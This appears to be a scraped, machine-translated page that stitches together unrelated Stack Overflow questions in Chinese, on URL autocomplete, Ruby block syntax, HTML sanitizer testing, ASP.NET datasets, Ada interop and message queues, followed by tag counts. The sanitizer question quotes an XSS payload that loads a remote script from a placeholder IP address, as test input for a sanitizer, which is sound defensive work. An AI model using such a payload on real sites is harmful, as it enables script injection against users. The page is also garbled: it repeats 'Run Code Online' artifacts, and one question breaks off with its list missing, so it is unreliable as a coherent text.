在我的网站中,用户可以存储链接.
在键入指定字段的互联网地址期间,我想显示类似于Google Suggest或Chrome Omnibar的建议/自动完成框.
例:
用户输入为URL:
http://www.sta
Run Code Online (Sandbox Code Playgroud)
将显示的建议:
http://www.staples.com
http://www.starbucks.com
http://www.stackoverflow.com
Run Code Online (Sandbox Code Playgroud)
如何在不重新发明轮子的情况下实现这一目标?:)
所以我有一个像这样的Ruby方法:
def something(variable, &block)
....
end
Run Code Online (Sandbox Code Playgroud)
我想这样称呼它:
something 'hello' { do_it }
Run Code Online (Sandbox Code Playgroud)
除非这对我不起作用,否则我会收到语法错误.如果我这样做,它的工作原理:
something 'hello' do
do_it
end
Run Code Online (Sandbox Code Playgroud)
除了那里,我有点想念它在一条线上的漂亮外观.
我可以看到为什么会发生这种情况,因为它可能看起来像是作为第二个变量传递的哈希,但变量之间没有逗号...但我认为必须有办法处理这个我'我失踪了.在那儿?
我正在寻找一个html杀菌剂,显然要测试/证明它正常工作,我需要一组XSS示例来反对它以了解它的表现.这是Coding Horror的一个很好的例子
<img src=""http://www.a.com/a.jpg<script type=text/javascript
src="http://1.2.3.4:81/xss.js">" /><<img
src=""http://www.a.com/a.jpg</script>"
Run Code Online (Sandbox Code Playgroud)
我知道有一个Mime酷刑测试,其中包含几个带有附件的嵌套电子邮件,这些附件用于测试Mime解码器(如果他们能够正确解码它们,那么它们已被证明有效).我基本上都在为XSS寻找一个等效的,即一个狡猾的html示例列表,我可以把它放在我的杀菌剂上,以确保它正常工作.
如果有人也有任何关于如何编写杀菌剂的好资源(即人们试图使用的常见漏洞等),他们也会感激不尽.
提前致谢 :-)
编辑:对不起,如果以前不清楚,但我是经过一系列酷刑测试,所以我可以为杀菌剂编写单元测试,而不是在浏览器中测试等等.理论上的源数据可能来自任何地方 - 不只是一个浏览器.
什么是可取的,将数据集保存在会话中或在每个回发中填充数据集?
虽然我在HS期间使用Pascal 2 - 3年,但我是一个完整的Ada新手.
IIRC,可以从C/C++调用Pascal编译函数.是否可以从C++调用Ada编写的过程和函数?
是否存在动态改变浏览器中运行的javascript的工具?例如,在运行时更改javascript变量的值.
我一直在体验真实生产环境中消息传递系统的优点和缺点,我必须承认,每次任何其他形式的消息传递队列时,组织良好的表或表模式都会跳动,因为:
您对每种方法有何看法?
c ×2
c++ ×2
vxworks ×2
ada ×1
asp.net ×1
autocomplete ×1
autosuggest ×1
database ×1
dataset ×1
dynamic-data ×1
javascript ×1
populate ×1
postback ×1
python ×1
queue ×1
ruby ×1
session ×1
syntax ×1
testing ×1
user-input ×1
xss ×1